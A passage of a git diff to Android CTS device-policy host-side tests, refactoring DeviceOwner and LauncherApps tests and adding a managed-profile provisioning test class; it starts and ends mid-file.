+                MANAGED_PROFILE_PROVISIONING_TEST,
+                "testProvisioningCorpOwnedManagedProfile",
+                mPrimaryUserId);
+        return getFirstManagedProfileUserId();
+    }
+
+    /**
+     * Clear {@link android.os.UserManager#DISALLOW_ADD_MANAGED_PROFILE}.
+     */
+    private void clearDisallowAddManagedProfileRestriction() throws Exception {
+        runDeviceTestsAsUser(
+                COMP_DPC_PKG,
+                USER_RESTRICTION_TEST,
+                "testClearDisallowAddManagedProfileRestriction",
+                mPrimaryUserId);
+    }
+
+    /**
+     * Add {@link android.os.UserManager#DISALLOW_ADD_MANAGED_PROFILE}.
+     */
+    private void addDisallowAddManagedProfileRestriction() throws Exception {
+        runDeviceTestsAsUser(
+                COMP_DPC_PKG,
+                USER_RESTRICTION_TEST,
+                "testAddDisallowAddManagedProfileRestriction",
+                mPrimaryUserId);
+    }
+
+    /**
+     * Clear {@link android.os.UserManager#DISALLOW_REMOVE_MANAGED_PROFILE}.
+     */
+    private void clearDisallowRemoveManagedProfileRestriction() throws Exception {
+        runDeviceTestsAsUser(
+                COMP_DPC_PKG,
+                USER_RESTRICTION_TEST,
+                "testClearDisallowRemoveManagedProfileRestriction",
+                mPrimaryUserId);
+    }
+
+    /**
+     * Add {@link android.os.UserManager#DISALLOW_REMOVE_MANAGED_PROFILE}.
+     */
+    private void addDisallowRemoveManagedProfileRestriction() throws Exception {
+        runDeviceTestsAsUser(
+                COMP_DPC_PKG,
+                USER_RESTRICTION_TEST,
+                "testAddDisallowRemoveManagedProfileRestriction",
+                mPrimaryUserId);
+    }
+
+    /**
+     * Add {@link android.os.UserManager#DISALLOW_REMOVE_USER}.
+     */
+    private void addDisallowRemoveUserRestriction() throws Exception {
+        runDeviceTestsAsUser(
+                COMP_DPC_PKG,
+                USER_RESTRICTION_TEST,
+                "testAddDisallowRemoveUserRestriction",
+                mPrimaryUserId);
+    }
+
+    /**
+     * Clear {@link android.os.UserManager#DISALLOW_REMOVE_USER}.
+     */
+    private void clearDisallowRemoveUserRestriction() throws Exception {
+        runDeviceTestsAsUser(
+                COMP_DPC_PKG,
+                USER_RESTRICTION_TEST,
+                "testClearDisallowRemoveUserRestriction",
+                mPrimaryUserId);
+    }
+
+    private void assertOtherProfilesEqualsBindTargetUsers(int otherProfileUserId) throws Exception {
+        runDeviceTestsAsUser(
+                COMP_DPC_PKG,
+                MANAGEMENT_TEST,
+                "testOtherProfilesEqualsBindTargetUsers",
+                mPrimaryUserId);
+        runDeviceTestsAsUser(
+                COMP_DPC_PKG,
+                MANAGEMENT_TEST,
+                "testOtherProfilesEqualsBindTargetUsers",
+                otherProfileUserId);
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index 03ec633..ac846a3 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -16,7 +16,7 @@
 
 package com.android.cts.devicepolicy;
 
-import java.util.ArrayList;
+import java.util.List;
 import java.util.concurrent.TimeUnit;
 
 /**
@@ -41,6 +41,8 @@
 
     private static final String ADMIN_RECEIVER_TEST_CLASS =
             DEVICE_OWNER_PKG + ".BaseDeviceOwnerTest$BasicAdminReceiver";
+    private static final String DEVICE_OWNER_COMPONENT = DEVICE_OWNER_PKG + "/"
+            + ADMIN_RECEIVER_TEST_CLASS;
 
     /** The ephemeral users are implemented and supported on the device. */
     private boolean mHasEphemeralUserFeature;
@@ -51,18 +53,14 @@
      */
     private boolean mHasDisabledEphemeralUserFeature;
 
-    /** CreateAndManageUser is available and an additional user can be created. */
-    private boolean mHasCreateAndManageUserFeature;
-
     @Override
     protected void setUp() throws Exception {
         super.setUp();
         if (mHasFeature) {
             installAppAsUser(DEVICE_OWNER_APK, mPrimaryUserId);
-            if (!setDeviceOwner(
-                    DEVICE_OWNER_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mPrimaryUserId,
+            if (!setDeviceOwner(DEVICE_OWNER_COMPONENT, mPrimaryUserId,
                     /*expectFailure*/ false)) {
-                removeAdmin(DEVICE_OWNER_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mPrimaryUserId);
+                removeAdmin(DEVICE_OWNER_COMPONENT, mPrimaryUserId);
                 getDevice().uninstallPackage(DEVICE_OWNER_PKG);
                 fail("Failed to set device owner");
             }
@@ -70,14 +68,13 @@
         mHasEphemeralUserFeature = mHasFeature && canCreateAdditionalUsers(1) && hasUserSplit();
         mHasDisabledEphemeralUserFeature =
                 mHasFeature && canCreateAdditionalUsers(1) && !hasUserSplit();
-        mHasCreateAndManageUserFeature = mHasFeature && canCreateAdditionalUsers(1);
     }
 
     @Override
     protected void tearDown() throws Exception {
         if (mHasFeature) {
             assertTrue("Failed to remove device owner.",
-                    removeAdmin(DEVICE_OWNER_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mPrimaryUserId));
+                    removeAdmin(DEVICE_OWNER_COMPONENT, mPrimaryUserId));
             getDevice().uninstallPackage(DEVICE_OWNER_PKG);
             switchUser(USER_SYSTEM);
             removeTestUsers();
@@ -86,16 +83,18 @@
         super.tearDown();
     }
 
-    public void testCaCertManagement() throws Exception {
-        executeDeviceOwnerTest("CaCertManagementTest");
-    }
-
     public void testDeviceOwnerSetup() throws Exception {
         executeDeviceOwnerTest("DeviceOwnerSetupTest");
     }
 
     public void testKeyManagement() throws Exception {
-        executeDeviceOwnerTest("KeyManagementTest");
+        try {
+            changeUserCredential("1234", null, mPrimaryUserId);
+
+            executeDeviceOwnerTest("KeyManagementTest");
+        } finally {
+            changeUserCredential(null, "1234", mPrimaryUserId);
+        }
     }
 
     public void testLockScreenInfo() throws Exception {
@@ -110,14 +109,13 @@
     }
 
     public void testRemoteBugreportWithTwoUsers() throws Exception {
-        if (!mHasFeature || getMaxNumberOfUsersSupported() < 2) {
+        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
             return;
         }
-        int userId = -1;
+        final int userId = createUser();
         try {
-            userId = createUser();
             executeDeviceTestMethod(".RemoteBugreportTest",
-                    "testRequestBugreportNotStartedIfMoreThanOneUserPresent");
+                    "testRequestBugreportThrowsSecurityException");
         } finally {
             removeUser(userId);
         }
@@ -225,23 +223,11 @@
             return;
         }
 
-        ArrayList<Integer> originalUsers = listUsers();
         executeDeviceTestMethod(".CreateAndManageUserTest", "testCreateAndManageEphemeralUser");
 
-        ArrayList<Integer> newUsers = listUsers();
-
-        // Check that exactly one new user was created.
-        assertEquals(
-                "One user should have been created", originalUsers.size() + 1, newUsers.size());
-
-        // Get the id of the newly created user.
-        int newUserId = -1;
-        for (int userId : newUsers) {
-            if (!originalUsers.contains(userId)) {
-                newUserId = userId;
-                break;
-            }
-        }
+        List<Integer> newUsers = getUsersCreatedByTests();
+        assertEquals(1, newUsers.size());
+        int newUserId = newUsers.get(0);
 
         // Get the flags of the new user and check the user is ephemeral.
         int flags = getUserFlags(newUserId);
@@ -275,34 +261,43 @@
 //    }
 
     public void testCreateAndManageUser_AddRestrictionSet() throws Exception {
-        if (mHasCreateAndManageUserFeature) {
+        if (mHasFeature && canCreateAdditionalUsers(1)) {
             executeDeviceTestMethod(".CreateAndManageUserTest",
                 "testCreateAndManageUser_AddRestrictionSet");
         }
     }
 
     public void testCreateAndManageUser_RemoveRestrictionSet() throws Exception {
-        if (mHasCreateAndManageUserFeature) {
+        if (mHasFeature && canCreateAdditionalUsers(1)) {
             executeDeviceTestMethod(".CreateAndManageUserTest",
                 "testCreateAndManageUser_RemoveRestrictionSet");
         }
     }
 
+    public void testUserAddedOrRemovedBroadcasts() throws Exception {
+        if (mHasFeature && canCreateAdditionalUsers(1)) {
+            executeDeviceTestMethod(".CreateAndManageUserTest",
+                "testUserAddedOrRemovedBroadcasts");
+        }
+    }
+
     public void testSecurityLoggingWithTwoUsers() throws Exception {
-        if (!mHasFeature || getMaxNumberOfUsersSupported() < 2) {
+        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
             return;
         }
-        int userId = -1;
+
+        final int userId = createUser();
         try {
-            userId = createUser();
+            // The feature can be enabled, but in a "paused" state. Attempting to retrieve logs
+            // should throw security exception.
+            executeDeviceTestMethod(".SecurityLoggingTest", "testEnablingSecurityLogging");
             executeDeviceTestMethod(".SecurityLoggingTest",
-                    "testSetSecurityLoggingEnabledNotPossibleIfMoreThanOneUserPresent");
+                    "testRetrievingSecurityLogsThrowsSecurityException");
             executeDeviceTestMethod(".SecurityLoggingTest",
-                    "testRetrievingSecurityLogsNotPossibleIfMoreThanOneUserPresent");
-            executeDeviceTestMethod(".SecurityLoggingTest",
-                    "testRetrievingPreviousSecurityLogsNotPossibleIfMoreThanOneUserPresent");
+                    "testRetrievingPreviousSecurityLogsThrowsSecurityException");
         } finally {
             removeUser(userId);
+            executeDeviceTestMethod(".SecurityLoggingTest", "testDisablingSecurityLogging");
         }
     }
 
@@ -326,18 +321,103 @@
         }
     }
 
-    public void testLockTask() throws Exception {
+    public void testNetworkLoggingWithTwoUsers() throws Exception {
+        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
+            return;
+        }
+
+        final int userId = createUser();
+        try {
+            // The feature can be enabled, but in a "paused" state. Attempting to retrieve logs
+            // should throw security exception.
+            executeDeviceTestMethod(".NetworkLoggingTest",
+                    "testRetrievingNetworkLogsThrowsSecurityException");
+        } finally {
+            removeUser(userId);
+        }
+    }
+
+    public void testNetworkLoggingWithSingleUser() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        executeDeviceTestMethod(".NetworkLoggingTest", "testProvidingWrongBatchTokenReturnsNull");
+        executeDeviceTestMethod(".NetworkLoggingTest", "testNetworkLoggingAndRetrieval");
+    }
+
+    public void testSetAffiliationId_IllegalArgumentException() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        executeDeviceTestMethod(".AffiliationTest", "testSetAffiliationId_null");
+        executeDeviceTestMethod(".AffiliationTest", "testSetAffiliationId_containsEmptyString");
+    }
+
+    public void testLockTask_deviceOwnerUser() throws Exception {
         if (!mHasFeature) {
             return;
         }
         try {
             installAppAsUser(INTENT_RECEIVER_APK, mPrimaryUserId);
             executeDeviceOwnerTest("LockTaskTest");
+        } catch (AssertionError ex) {
+            // STOPSHIP(b/32771855), remove this once we fixed the bug.
+            executeShellCommand("dumpsys activity activities");
+            executeShellCommand("dumpsys window -a");
+            executeShellCommand("dumpsys activity service com.android.systemui");
+            throw ex;
         } finally {
             getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
         }
     }
 
+    public void testLockTask_unaffiliatedUser() throws Exception {
+        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
+            return;
+        }
+
+        final int userId = createUser();
+        installAppAsUser(DEVICE_OWNER_APK, userId);
+        setProfileOwnerOrFail(DEVICE_OWNER_COMPONENT, userId);
+
+        runDeviceTestsAsUser(
+                DEVICE_OWNER_PKG,
+                ".AffiliationTest",
+                "testLockTaskMethodsThrowExceptionIfUnaffiliated",
+                userId);
+
+        runDeviceTestsAsUser(
+                DEVICE_OWNER_PKG, ".AffiliationTest", "testSetAffiliationId1", mPrimaryUserId);
+        runDeviceTestsAsUser(
+                DEVICE_OWNER_PKG, ".AffiliationTest", "testSetAffiliationId1", userId);
+        runDeviceTestsAsUser(
+                DEVICE_OWNER_PKG,
+                ".AffiliationTest",
+                "testSetLockTaskPackagesClearedIfUserBecomesUnaffiliated",
+                userId);
+    }
+
+    public void testLockTask_affiliatedSecondaryUser() throws Exception {
+        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
+            return;
+        }
+
+        final int userId = createUser();
+        installAppAsUser(INTENT_RECEIVER_APK, userId);
+        installAppAsUser(DEVICE_OWNER_APK, userId);
+        setProfileOwnerOrFail(DEVICE_OWNER_COMPONENT, userId);
+
+        switchUser(userId);
+
+        // Setting the same affiliation ids on both users and running the lock task tests.
+        runDeviceTestsAsUser(
+                DEVICE_OWNER_PKG, ".AffiliationTest", "testSetAffiliationId1", mPrimaryUserId);
+        runDeviceTestsAsUser(
+                DEVICE_OWNER_PKG, ".AffiliationTest", "testSetAffiliationId1", userId);
+        runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskTest", userId);
+    }
+
     public void testSystemUpdatePolicy() throws Exception {
         if (!mHasFeature) {
             return;
@@ -412,9 +492,19 @@
         // This case runs when DO is provisioned
         // mHasFeature == true and provisioned, can't provision DO again.
         executeDeviceTestMethod(".PreDeviceOwnerTest", "testIsProvisioningAllowedFalse");
-        // Can't provision Managed Profile when DO is on
+        // Can provision Managed Profile when DO is on
+        // STOPSHIP: Only allow creating a managed profile if allowed by the device owner.
+        // b/31952368
         executeDeviceTestMethod(".PreDeviceOwnerTest",
-                "testIsProvisioningAllowedFalseForManagedProfileAction");
+                "testIsProvisioningAllowedTrueForManagedProfileAction");
+    }
+
+    public void testAdminActionBookkeeping() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        executeDeviceOwnerTest("AdminActionBookkeepingTest");
     }
 
     public void testBluetoothRestriction() throws Exception {
@@ -424,17 +514,55 @@
         executeDeviceOwnerTest("BluetoothRestrictionTest");
     }
 
+    public void testDeviceOwnerProvisioning() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        executeDeviceOwnerTest("DeviceOwnerProvisioningTest");
+    }
+
+    public void testDisallowFactoryReset() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        int adminVersion = 24;
+        changeUserRestrictionOrFail("no_factory_reset", true, mPrimaryUserId,
+                DEVICE_OWNER_PKG);
+        try {
+            installAppAsUser(DeviceAdminHelper.getDeviceAdminApkFileName(adminVersion),
+                    mPrimaryUserId);
+            setDeviceAdmin(DeviceAdminHelper.getAdminReceiverComponent(adminVersion),
+                    mPrimaryUserId);
+            runDeviceTestsAsUser(
+                    DeviceAdminHelper.getDeviceAdminApkPackage(adminVersion),
+                    DeviceAdminHelper.getDeviceAdminJavaPackage() + ".WipeDataTest",
+                    "testWipeDataThrowsSecurityException", mPrimaryUserId);
+        } finally {
+            removeAdmin(DeviceAdminHelper.getAdminReceiverComponent(adminVersion), mPrimaryUserId);
+            getDevice().uninstallPackage(DeviceAdminHelper.getDeviceAdminApkPackage(adminVersion));
+        }
+    }
+
+    public void testBackupServiceEnabling() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        executeDeviceOwnerTest("BackupServiceEnabledTest");
+    }
+
     private void executeDeviceOwnerTest(String testClassName) throws Exception {
         if (!mHasFeature) {
             return;
         }
         String testClass = DEVICE_OWNER_PKG + "." + testClassName;
-        assertTrue(testClass + " failed.",
-                runDeviceTestsAsUser(DEVICE_OWNER_PKG, testClass, mPrimaryUserId));
+        runDeviceTestsAsUser(DEVICE_OWNER_PKG, testClass, mPrimaryUserId);
     }
 
     private void executeDeviceTestMethod(String className, String testName) throws Exception {
-        assertTrue(runDeviceTestsAsUser(DEVICE_OWNER_PKG, className, testName,
-                /* deviceOwnerUserId */ mPrimaryUserId));
+        if (!mHasFeature) {
+            return;
+        }
+        runDeviceTestsAsUser(DEVICE_OWNER_PKG, className, testName,
+                /* deviceOwnerUserId */ mPrimaryUserId);
     }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsMultiUserTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsMultiUserTest.java
index 2e574d3..9205ff7 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsMultiUserTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsMultiUserTest.java
@@ -64,11 +64,11 @@
             return;
         }
         installAppAsUser(SIMPLE_APP_APK, mPrimaryUserId);
-        assertTrue(runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
+        runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS,
                 "testGetActivitiesForUserFails",
                 mPrimaryUserId,
-                Collections.singletonMap(PARAM_TEST_USER, mSecondaryUserSerialNumber)));
+                Collections.singletonMap(PARAM_TEST_USER, mSecondaryUserSerialNumber));
     }
 
     public void testNoLauncherCallbackPackageAddedSecondaryUser() throws Exception {
@@ -77,10 +77,10 @@
         }
         startCallbackService();
         installAppAsUser(SIMPLE_APP_APK, mPrimaryUserId);
-        assertTrue(runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
+        runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS,
                 "testNoPackageAddedCallbackForUser",
                 mPrimaryUserId,
-                Collections.singletonMap(PARAM_TEST_USER, mSecondaryUserSerialNumber)));
+                Collections.singletonMap(PARAM_TEST_USER, mSecondaryUserSerialNumber));
     }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
index 14ce1d9..a978ccf 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
@@ -43,7 +43,6 @@
         mHasFeature = mHasFeature && hasDeviceFeature("android.software.managed_users");
         if (mHasFeature) {
             removeTestUsers();
-            installTestApps();
             // Create a managed profile
             mParentUserId = mPrimaryUserId;
             mProfileUserId = createManagedProfile(mParentUserId);
@@ -53,6 +52,13 @@
             mProfileSerialNumber = Integer.toString(getUserSerialNumber(mProfileUserId));
             mMainUserSerialNumber = Integer.toString(getUserSerialNumber(mParentUserId));
             startUser(mProfileUserId);
+
+            // Install test APK.
+            installTestApps();
+
+            // Also install on the managed profile too.
+            installAppAsUser(LAUNCHER_TESTS_APK, mProfileUserId);
+            installAppAsUser(LAUNCHER_TESTS_SUPPORT_APK, mProfileUserId);
         }
     }
 
@@ -74,13 +80,30 @@
         installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
 
         // Run tests to check SimpleApp exists in both profile and main user.
-        assertTrue(runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
-                LAUNCHER_TESTS_CLASS,
-                "testSimpleAppInstalledForUser",
-                mParentUserId, Collections.singletonMap(PARAM_TEST_USER, mProfileSerialNumber)));
-        assertTrue(runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
-                LAUNCHER_TESTS_PKG + ".LauncherAppsTests", "testSimpleAppInstalledForUser",
-                mParentUserId, Collections.singletonMap(PARAM_TEST_USER, mMainUserSerialNumber)));
+        runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
+                LAUNCHER_TESTS_CLASS, "testSimpleAppInstalledForUser",
+                mParentUserId, Collections.singletonMap(PARAM_TEST_USER, mProfileSerialNumber));
+        runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
+                LAUNCHER_TESTS_CLASS, "testSimpleAppInstalledForUser",
+                mParentUserId, Collections.singletonMap(PARAM_TEST_USER, mMainUserSerialNumber));
+
+        // Run the same test on the managed profile.  This still works.
+        runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
+                LAUNCHER_TESTS_CLASS, "testSimpleAppInstalledForUser",
+                mProfileUserId, Collections.singletonMap(PARAM_TEST_USER, mProfileSerialNumber));
+
+        // This tries to access main prorfile from work profiel, which is not allowed.
+        runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
+                LAUNCHER_TESTS_CLASS, "testAccessPrimaryProfileFromManagedProfile",
+                mProfileUserId, Collections.singletonMap(PARAM_TEST_USER, mMainUserSerialNumber));
+
+        // Test for getProfiles.
+        runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
+                LAUNCHER_TESTS_CLASS, "testGetProfiles_fromMainProfile",
+                mParentUserId);
+        runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
+                LAUNCHER_TESTS_CLASS, "testGetProfiles_fromManagedProfile",
+                mProfileUserId);
     }
 
     public void testLauncherCallbackPackageAddedProfile() throws Exception {
@@ -89,10 +112,10 @@
         }
         startCallbackService();
         installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
-        assertTrue(runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
+        runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS,
                 "testPackageAddedCallbackForUser",
-                mParentUserId, Collections.singletonMap(PARAM_TEST_USER, mProfileSerialNumber)));
+                mParentUserId, Collections.singletonMap(PARAM_TEST_USER, mProfileSerialNumber));
     }
 
     public void testLauncherCallbackPackageRemovedProfile() throws Exception {
@@ -102,10 +125,10 @@
         installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
         startCallbackService();
         getDevice().uninstallPackage(SIMPLE_APP_PKG);
-        assertTrue(runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
+        runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS,
                 "testPackageRemovedCallbackForUser",
-                mParentUserId, Collections.singletonMap(PARAM_TEST_USER, mProfileSerialNumber)));
+                mParentUserId, Collections.singletonMap(PARAM_TEST_USER, mProfileSerialNumber));
     }
 
     public void testLauncherCallbackPackageChangedProfile() throws Exception {
@@ -115,9 +138,9 @@
         installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
         startCallbackService();
         installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
-        assertTrue(runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
+        runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS,
                 "testPackageChangedCallbackForUser",
-                mParentUserId, Collections.singletonMap(PARAM_TEST_USER, mProfileSerialNumber)));
+                mParentUserId, Collections.singletonMap(PARAM_TEST_USER, mProfileSerialNumber));
     }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java
index a2a1986..0481777 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java
@@ -54,9 +54,9 @@
             return;
         }
         installAppAsUser(SIMPLE_APP_APK, mPrimaryUserId);
-        assertTrue(runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
+        runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS, "testSimpleAppInstalledForUser",
-                mPrimaryUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber)));
+                mPrimaryUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
     public void testLauncherCallbackPackageAddedMainUser() throws Exception {
@@ -66,10 +66,10 @@
         startCallbackService();
         installAppAsUser(SIMPLE_APP_APK, mPrimaryUserId);
 
-        assertTrue(runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
+        runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS,
                 "testPackageAddedCallbackForUser",
-                mPrimaryUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber)));
+                mPrimaryUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
     public void testLauncherCallbackPackageRemovedMainUser() throws Exception {
@@ -79,10 +79,10 @@
         installAppAsUser(SIMPLE_APP_APK, mPrimaryUserId);
         startCallbackService();
         getDevice().uninstallPackage(SIMPLE_APP_PKG);
-        assertTrue(runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
+        runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS,
                 "testPackageRemovedCallbackForUser",
-                mPrimaryUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber)));
+                mPrimaryUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
     public void testLauncherCallbackPackageChangedMainUser() throws Exception {
@@ -92,10 +92,10 @@
         installAppAsUser(SIMPLE_APP_APK, mPrimaryUserId);
         startCallbackService();
         installAppAsUser(SIMPLE_APP_APK, mPrimaryUserId);
-        assertTrue(runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
+        runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS,
                 "testPackageChangedCallbackForUser",
-                mPrimaryUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber)));
+                mPrimaryUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
     public void testLauncherNonExportedAppFails() throws Exception {
@@ -103,9 +103,9 @@
             return;
         }
         installAppAsUser(SIMPLE_APP_APK, mPrimaryUserId);
-        assertTrue(runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
+        runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS, "testLaunchNonExportActivityFails",
-                mPrimaryUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber)));
+                mPrimaryUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
     public void testLaunchNonExportActivityFails() throws Exception {
@@ -113,9 +113,9 @@
             return;
         }
         installAppAsUser(SIMPLE_APP_APK, mPrimaryUserId);
-        assertTrue(runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
+        runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS, "testLaunchNonExportLauncherFails",
-                mPrimaryUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber)));
+                mPrimaryUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
     public void testLaunchMainActivity() throws Exception {
@@ -123,8 +123,8 @@
             return;
         }
         installAppAsUser(SIMPLE_APP_APK, mPrimaryUserId);
-        assertTrue(runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
+        runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS, "testLaunchMainActivity",
-                mPrimaryUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber)));
+                mPrimaryUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java
new file mode 100644
index 0000000..fa3627a
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.devicepolicy;
+
+public class ManagedProfileProvisioningTest extends BaseDevicePolicyTest {
+    private static final String MANAGED_PROFILE_PKG = "com.android.cts.managedprofile";
+    private static final String MANAGED_PROFILE_APK = "CtsManagedProfileApp.apk";
+
+    private int mProfileUserId;
+    private int mParentUserId;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        // We need multi user to be supported in order to create a profile of the user owner.
+        mHasFeature = mHasFeature && hasDeviceFeature(
+                "android.software.managed_users");
+
+        if (mHasFeature) {
+            removeTestUsers();
+            mParentUserId = mPrimaryUserId;
+            installAppAsUser(MANAGED_PROFILE_APK, mParentUserId);
+            mProfileUserId = 0;
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mHasFeature) {
+            if (mProfileUserId != 0) {
+                removeUser(mProfileUserId);
+            }
+            // Remove the test app account: also done by uninstallPackage
+            getDevice().uninstallPackage(MANAGED_PROFILE_PKG);
+        }
+        super.tearDown();
+    }
+
+    public void testManagedProfileProvisioning() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        provisionManagedProfile();
+
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ProvisioningTest",
+                "testIsManagedProfile", mProfileUserId);
+    }
+
+    public void testEXTRA_PROVISIONING_ADMIN_EXTRAS_BUNDLE() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        provisionManagedProfile();
+
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ProvisioningTest",
+                "testVerifyAdminExtraBundle", mProfileUserId);
+    }
+
+    public void testVerifySuccessfulIntentWasReceived() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        provisionManagedProfile();
+
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ProvisioningTest",
+                "testVerifySuccessfulIntentWasReceived", mProfileUserId);
+    }
+
+    public void testAccountMigration() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        provisionManagedProfile();
+
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ProvisioningTest",
+                "testAccountExist", mProfileUserId);
+
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ProvisioningTest",
+                "testAccountNotExist", mParentUserId);
+    }
+
+    public void testAccountCopy() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        provisionManagedProfile_accountCopy();
+
